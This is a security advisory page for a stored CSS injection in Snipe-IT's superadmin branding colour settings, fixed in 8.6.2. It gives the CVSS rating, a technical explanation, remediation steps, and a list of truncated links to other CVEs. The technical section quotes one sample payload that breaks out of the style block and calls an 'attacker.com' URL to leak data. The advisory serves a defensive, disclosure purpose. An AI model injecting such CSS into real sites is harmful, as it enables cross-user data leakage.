EUVD-2026-43003
GHSA-w7qw-5wfv-gwx9
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Superadmin write access required (PR:H); scope changes as injected CSS affects all authenticated users (S:C); integrity High for persistent UI manipulation, confidentiality Low for constrained CSS-based data leakage.
Primary rating from Vendor (github).
CVSS VectorVendor: github
Lifecycle Timeline
2DescriptionCVE.org
Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders header_color and related branding color settings inside a CSS style block with HTML escaping that is insufficient for the CSS context, allowing a superadmin to inject arbitrary CSS that affects authenticated users on subsequent page loads when Content Security Policy is disabled. This issue is fixed in version 8.6.2.
AnalysisAI
CSS injection in Snipe-IT's superadmin branding configuration (versions prior to 8.6.2) allows arbitrary stylesheet content to persist in the database and render for all authenticated users on every subsequent page load. The template default.blade.php applies HTML entity encoding to the header_color and related color settings before embedding them inside a CSS style block - encoding that is context-incorrect and insufficient to prevent CSS breakout via constructs such as closing braces or url() references. No public exploit has been identified at time of analysis, but the CVSS 4.0 vector (SC:H/SI:H) reflects that, once injected, the payload affects every authenticated user's session regardless of their privilege level, making this a persistent, cross-user impact from a single privileged action.
Technical ContextAI
Snipe-IT is a PHP application built on the Laravel framework using Blade templating. The vulnerable rendering occurs in default.blade.php, which outputs superadmin-configurable branding values (header_color and related fields) directly inside an inline <style> block. Blade's standard {{ }} escaping applies HTML entity encoding (converting < > & " to their HTML entities), which is correct for HTML contexts but entirely inadequate for CSS values - CSS parsers do not interpret HTML entities, and an attacker can inject CSS syntax such as '} body { background: url(https://attacker.com/?c=...) }' without triggering any HTML encoding substitution. This maps to CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-Site Scripting) in its stored variant: the payload is persisted to the database through the admin settings API and thereafter delivered to every authenticated browser session. The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:H/UI:P captures the network delivery, low complexity, high privilege requirement, and passive victim interaction pattern. The fix in commit c31190a128ec96fb34000a2f27eae198b1a51d40 addresses the CSS-context escaping gap.
RemediationAI
Upgrade to Snipe-IT version 8.6.2 or later; this is the vendor-confirmed patch as documented in GitHub Security Advisory GHSA-w7qw-5wfv-gwx9, release tag v8.6.2 (https://github.com/grokability/snipe-it/releases/tag/v8.6.2), and commit c31190a128ec96fb34000a2f27eae198b1a51d40 (https://github.com/grokability/snipe-it/commit/c31190a128ec96fb34000a2f27eae198b1a51d40). As an interim compensating control where immediate upgrade is not possible, deploy a Content Security Policy header with a restrictive style-src directive (e.g., Content-Security-Policy: style-src 'self') at the reverse proxy or web server layer - this blocks execution of the injected arbitrary CSS in the victim's browser and fully neutralizes the attack impact, though it may require testing for breakage of legitimate inline styles in the application. Additionally, audit the current branding color settings in the Snipe-IT admin panel for any values that are not valid CSS color codes (hex, rgb, named colors), as non-color content in those fields is an indicator of prior exploitation. Minimize the number of superadmin role assignments to reduce the attack surface.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today